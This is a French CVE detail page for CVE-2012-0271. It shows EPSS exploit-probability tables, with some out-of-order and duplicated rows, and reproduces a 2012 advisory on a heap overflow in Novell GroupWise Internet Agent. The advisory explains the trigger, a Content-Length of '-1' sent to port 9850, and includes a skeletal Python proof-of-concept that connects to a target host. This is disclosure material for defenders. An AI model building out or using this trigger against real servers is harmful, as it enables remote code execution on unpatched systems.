CVE-2012-0271 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	14.22%	–	–
2022-04-03	–	–	14.22%	–	–
2022-05-15	–	–	14.22%	–	–
2022-09-04	–	–	11.92%	–	–
2022-12-04	–	–	10.14%	–	–
2023-02-26	–	–	10.14%	–	–
2023-03-12	–	–	–	7.72%	–
2023-06-11	–	–	–	8.37%	–
2023-07-16	–	–	–	8.37%	–
2023-07-30	–	–	–	8.37%	–
2023-08-06	–	–	–	8.37%	–
2023-10-15	–	–	–	11.39%	–
2024-06-02	–	–	–	11.39%	–
2024-08-25	–	–	–	15.27%	–
2024-10-13	–	–	–	11.39%	–
2024-12-22	–	–	–	14.64%	–
2025-01-26	–	–	–	8%	–
2025-01-19	–	–	–	14.64%	–
2025-02-02	–	–	–	8%	–
2025-03-18	–	–	–	–	26.15%
2025-03-30	–	–	–	–	33.26%
2025-03-30	–	–	–	–	33.26,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	91%
2022-04-03	95%
2022-05-15	96%
2022-09-04	95%
2022-12-04	94%
2023-02-26	95%
2023-03-12	93%
2023-06-11	93%
2023-07-16	94%
2023-07-30	93%
2023-08-06	94%
2023-10-15	95%
2024-06-02	95%
2024-08-25	96%
2024-10-13	95%
2024-12-22	96%
2025-01-26	94%
2025-01-19	96%
2025-02-02	94%
2025-03-18	96%
2025-03-30	97%
2025-03-30	97%

##################################################################################### Application: Novell Groupwise Platforms: Windows Version: 8.0.2 HP3 and 2012 Secunia: SA50622 {PRL}: 2012-28 Author: Francis Provencher (Protek Research Lab's) Website: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) The Code ##################################################################################### =============== 1) Introduction =============== Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients. (http://en.wikipedia.org/wiki/Novell) ##################################################################################### ============================ 2) Report Timeline ============================ 2012-02-03 Vulnerability reported to Secunia 2012-09-14 Publication of this advisory ##################################################################################### ============================ 3) Technical details ============================ The vulnerability is caused due to an integer overflow error in GroupWise Internet Agent (gwia.exe) when copying request data and can be exploited to cause a heap-based buffer overflow by e.g. sending a specially crafted request with the "Content-Length" header value set to "-1" to the web-based administration interface (TCP port 9850). Successful exploitation may allow execution of arbitrary code. ##################################################################################### =========== 4) The Code =========== #!/usr/bin/python import sys,os,socket if len(sys.argv) < 3: print "Usage: host,port" sys.exit(0) host=sys.argv[1] port=int(sys.argv[2]) sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect((host,port)) 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print "done!" sock.close()